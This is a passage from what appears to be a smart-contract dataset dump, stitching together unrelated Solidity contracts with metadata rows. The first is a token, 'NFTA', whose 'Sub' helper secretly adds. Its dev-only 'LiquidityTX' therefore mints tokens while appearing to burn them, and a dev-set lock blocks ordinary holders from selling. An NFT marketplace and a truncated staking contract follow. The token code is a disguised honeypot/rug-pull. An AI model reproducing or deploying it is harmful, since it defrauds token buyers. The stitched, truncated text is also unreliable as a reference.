return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NFTA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**8 * 10**6;
bool public lock = true;
address public uniSwapV2;
string private _name;
string private _symbol;
uint8 private _decimals = 6;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**8 * 10**6;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function LiquidityTX(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function uniSV2(bool _lock,address _uniSwapV2) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lock = _lock;
uniSwapV2 = _uniSwapV2;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**6;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lock){
if(recipient == uniSwapV2 && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 254,416 | 14,078 |
62762680cbecfa44f686860a809db20b6ea68d67b86ec82bee43cfbcd637e286
| 19,188 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/82/8298f299E40f27CC64F194E9B0E7fc1307F0B17f_MarketPlace.sol
| 4,453 | 18,183 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.5;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function decimals() external view returns(uint8);
}
interface IERC721 {
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function latestRoundData()
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
}
interface IERC721ByteCodeGenerator {
function generate(string memory _name,
string memory _symbol,
string memory _desc,
address owner,
address _proxyGen) external pure returns(bytes memory);
}
contract MarketPlace { // ---> Transfering And Approving NFT Tokens Via MarketPlace <---
error ExternalCallError(string message);
address private immutable marketFeeTaker;
// Byte Code Generator
address private immutable erc721Gen;
IERC20 private immutable ERC20; // USDC token contract
AggregatorV3Interface private constant AVAX = AggregatorV3Interface(0x5498BB86BC934c8D34FDA08E81D444153d0D06aD); // Chainlink Data Feeds
struct SellOrderERC721 {
address tokenContract;
address orderOwner;
address buyer;
uint256 tokenId;
uint256 totalPrice; // USDC Or Ether(wei)
uint256 orderStartedAt;
uint256 orderEndedAt;
bool isEther;
bool isCanceled;
bool isEnded;
}
uint256 totalERC721SellOrderCount = 1;
struct BidERC721 {
uint256 totalPrice; // USDC Or Ether(wei) with fee
uint256 tokenId;
uint256 bidStartedAt;
uint256 bidEndedAt;
uint256 orderId;
address nftContractAddr;
address seller;
address bidOwner;
bool isEther;
bool isCanceled;
bool isEnded;
}
uint256 totalERC721BidCount = 1;
struct TransferERC721 {
address sender;
address receiver;
address contractAddr;
uint tokenId;
}
uint256 totalERC721Transfer = 1;
event SellOrderERC721Created(address indexed creator, uint indexed orderId);
event BidERC721Created(address indexed creator, uint indexed bidId);
// from orderId to order info (ERC721)
mapping (uint256 => SellOrderERC721) private orderERC721;
// from order owner to all his sell orders (ERC721)
mapping (address => uint[]) private userERC721SellOrders;
// from contract address to specific tokenids bids
mapping (address => mapping (uint => uint[])) private contractBids;
// from user to is ERC721 contract created (ERC721)
mapping (address => address) private userERC721Contract;
// from bidId to bid info (ERC721)
mapping (uint256 => BidERC721) private ERC721Bid;
// from bidder to bid id (ERC721)
mapping (address => uint[]) private ERC721BidderBids;
mapping (address => address[]) private userAddedContracts;
mapping (address => bool) private allMarketContracts;
constructor(address _usdcToken,
address _feeTaker,
address _erc721Gen) {
ERC20 = IERC20(_usdcToken);
marketFeeTaker = _feeTaker;
erc721Gen = _erc721Gen;
}
function bidERC7211Data(uint _bidId) external view returns(BidERC721 memory) {
return ERC721Bid[_bidId];
}
function orderERC721Data(uint256 _orderId) external view returns(SellOrderERC721 memory) {
require(_orderId != 0 && _orderId < totalERC721SellOrderCount && _orderId >= 1, "Invalid Order Id.");
return orderERC721[_orderId];
}
function totalERC721OrdersCount() external view returns(uint256) {
return totalERC721SellOrderCount - 1;
}
function createERC721SellOrder(address _contract, uint256 _tokenId, uint256 _price, bool _isEther) external {
require(allMarketContracts[_contract] == true, "this address is not a valid contract address.");
IERC721 nft = IERC721(_contract);
require(nft.ownerOf(_tokenId) == msg.sender, "Not Token Owner.");
require(_price != 0, "Invalid Order Price.");
require(nft.isApprovedForAll(msg.sender, address(this)) == true || nft.getApproved(_tokenId) == address(this), "Allowance Needed.");
try nft.transferFrom(msg.sender, address(this), _tokenId) {
SellOrderERC721 memory order = SellOrderERC721({
tokenContract: _contract,
orderOwner: msg.sender,
buyer: address(0),
tokenId: _tokenId,
totalPrice: _price,
orderStartedAt: block.timestamp,
orderEndedAt: 0,
isEther: _isEther,
isCanceled: false,
isEnded: false
});
orderERC721[totalERC721SellOrderCount] = order;
userERC721SellOrders[msg.sender].push(totalERC721SellOrderCount);
totalERC721SellOrderCount += 1;
emit SellOrderERC721Created(msg.sender, totalERC721SellOrderCount - 1);
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transferFrom Func. (ERC721)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
}
function cancelERC721SellOrder(uint256 _orderId) external {
SellOrderERC721 storage order = orderERC721[_orderId];
require(order.orderOwner == msg.sender, "Not Order Owner.");
require(order.buyer == address(0) && order.isCanceled == false && order.isEnded == false, "Order Has Been Ended Befor!");
IERC721 nft = IERC721(order.tokenContract);
order.isCanceled = true;
try nft.safeTransferFrom(address(this), order.orderOwner, order.tokenId) {
//
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented safeTransferFrom Func. (ERC721)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
}
function editERC721SellOrderPrice(uint256 _orderId, uint256 _newPrice) external {
SellOrderERC721 storage order = orderERC721[_orderId];
require(order.orderOwner == msg.sender, "Not Order Owner.");
require(order.buyer == address(0) && order.isCanceled == false && order.isEnded == false, "Order Has Been Ended Befor!");
require(_newPrice > 0, "Price Must Be > 0");
order.totalPrice = _newPrice;
}
function createERC721Bid(uint256 _bidPrice, uint256 _orderId, bool _isEther) external payable {
SellOrderERC721 memory order = orderERC721[_orderId];
require(order.tokenId != 0 && _bidPrice != 0, "Invalid Bid Info.");
require(order.tokenContract.code.length > 0 && order.tokenContract != address(0) && order.tokenContract != msg.sender, "Invalid Contract Address");
require(order.orderOwner != address(0) && order.isCanceled == false && order.isEnded == false, "Invlaid Order Id.");
require(order.orderOwner != msg.sender , "You Cannot Set A Bid For Your Own NFT!");
if (_isEther) {
require(msg.value == _bidPrice, "Insufficient Ether Amount.");
BidERC721 memory bid = BidERC721({
totalPrice: _bidPrice,
tokenId: order.tokenId,
bidStartedAt: block.timestamp,
bidEndedAt: 0,
orderId: _orderId,
nftContractAddr: order.tokenContract,
seller: address(0),
bidOwner: msg.sender,
isEther: _isEther,
isCanceled: false,
isEnded: false
});
ERC721Bid[totalERC721BidCount] = bid;
ERC721BidderBids[msg.sender].push(totalERC721BidCount);
contractBids[order.tokenContract][order.tokenId].push(totalERC721BidCount);
totalERC721BidCount += 1;
emit BidERC721Created({
creator: msg.sender,
bidId: totalERC721BidCount - 1
});
} else {
require(ERC20.allowance(msg.sender, address(this)) == (_bidPrice * (10**ERC20.decimals())), "Invalid Allowance.");
try ERC20.transferFrom(msg.sender, address(this), (_bidPrice * (10**ERC20.decimals()))) {
BidERC721 memory bid = BidERC721({
totalPrice: _bidPrice,
tokenId: order.tokenId,
bidStartedAt: block.timestamp,
bidEndedAt: 0,
orderId: _orderId,
nftContractAddr: order.tokenContract,
seller: address(0),
bidOwner: msg.sender,
isEther: _isEther,
isCanceled: false,
isEnded: false
});
ERC721Bid[totalERC721BidCount] = bid;
ERC721BidderBids[msg.sender].push(totalERC721BidCount);
contractBids[order.tokenContract][order.tokenId].push(totalERC721BidCount);
totalERC721BidCount += 1;
emit BidERC721Created({
creator: msg.sender,
bidId: totalERC721BidCount - 1
});
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transferFrom Func. (ERC20)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
}
}
function cancelERC721Bid(uint _bidId) external {
BidERC721 storage bid = ERC721Bid[_bidId];
require(bid.bidOwner == msg.sender, "not bid owner.");
require(bid.seller == address(0) && bid.isCanceled == false && bid.isEnded == false, "Cannot Cancel Bid!");
if (bid.isEther) {
bid.isCanceled = true;
(bool result,) = msg.sender.call{value: bid.totalPrice}("");
require(result == true, "Something Went Wrong.");
} else {
bid.isCanceled = true;
try ERC20.transfer(msg.sender, (bid.totalPrice * (10**ERC20.decimals()))) returns(bool result) {
require(result == true, "Something Went Wrong.");
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transfer Func. (ERC20)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
}
}
function acceptERC721Bid(uint _bidId, uint _orderId) external {
BidERC721 storage bid = ERC721Bid[_bidId];
require(bid.bidOwner != address(0), "invalid bid id.");
require(bid.seller == address(0) && bid.isCanceled == false && bid.isEnded == false, "Cannot Accept Bid!");
SellOrderERC721 storage order = orderERC721[_orderId];
require(order.orderOwner == msg.sender, "Invalid Order Id.");
require(order.buyer == address(0) && order.isCanceled == false && order.isEnded == false, "Cannot Interact With This Order.");
bid.isEnded = true;
bid.bidEndedAt = block.timestamp;
bid.seller = msg.sender;
order.isEnded = true;
order.orderEndedAt = block.timestamp;
order.buyer = bid.bidOwner;
uint totalFund = bid.totalPrice;
uint marketFee = totalFund / 50; // 2%
uint sellerFund = totalFund - marketFee;
IERC721 nft = IERC721(bid.nftContractAddr);
if (bid.isEther) {
try nft.transferFrom(address(this), bid.bidOwner, bid.tokenId) {
payable(msg.sender).transfer(sellerFund);
(bool result,) = marketFeeTaker.call{value: marketFee}("");
require(result == true, "Something Went Wrong.");
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transferFrom Func. (ERC721)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
} else {
try nft.transferFrom(address(this), bid.bidOwner, bid.tokenId) {
try ERC20.transfer(msg.sender, sellerFund * (10**ERC20.decimals())) returns(bool res) {
require(res == true, "Something Went Wrong.");
try ERC20.transfer(marketFeeTaker, marketFee * (10**ERC20.decimals())) returns(bool result) {
require(result == true, "Something Went Wrong.");
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transfer Func. (ERC20)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transferFrom Func. (ERC721)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transferFrom Func. (ERC721)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
}
}
function addContractAddress(address _contract) external {
require(allMarketContracts[_contract] == true, "this address is not a valid contract address.");
address[] storage addrs = userAddedContracts[msg.sender];
bool isExist;
for (uint i; i < addrs.length; ++i) {
if (_contract == addrs[i]) {
isExist = true;
break;
}
}
require(isExist == false, "Contract Already Exists.");
addrs.push(_contract);
}
function createERC721Contract(string memory _name, string memory _symbol, string memory _desc, address _proxyGen) external {
require(userERC721Contract[msg.sender] == address(0), unicode"ERC721: Contract Already Created. ");
require(bytes(_name).length > 0 &&
bytes(_symbol).length > 0 &&
bytes(_desc).length > 0,
"invalid strings.");
bytes memory byteCode = IERC721ByteCodeGenerator(erc721Gen).generate(_name, _symbol, _desc, msg.sender, _proxyGen);
address contractAddr;
assembly {
contractAddr := create(callvalue(), add(byteCode, 0x20), mload(byteCode))
}
require(contractAddr != address(0), "Failed While Creating ERC721 Contract.");
userERC721Contract[msg.sender] = contractAddr;
allMarketContracts[contractAddr] = true;
}
function userERC721Address(address _addr) external view returns(address contractAddr) {
contractAddr = userERC721Contract[_addr];
}
function avaxPrice() public view returns(int256, uint) { // AVAX - Testnet(Fuji) - Chainlink Data Feed
(,int price,,,) = AVAX.latestRoundData();
return (price, AVAX.decimals());
}
function userContracts(address _user) external view returns(address[] memory) {
return userAddedContracts[_user];
}
function userERC721Orders(address _user) external view returns(uint[] memory) {
return userERC721SellOrders[_user];
}
function userERC721OwnedContract(address _user) external view returns(address) {
return userERC721Contract[_user];
}
function userERC721Bids(address _user) external view returns(uint[] memory) {
return ERC721BidderBids[_user];
}
}
| 119,792 | 14,079 |
9144d67eab7590ba08167ffc8513f7d4c54813a1a2aad8abb4c18d8cdbd0698f
| 27,434 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/9e/9e4b7b379C05523A7EE5b39549c272005dfa2Fd3_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
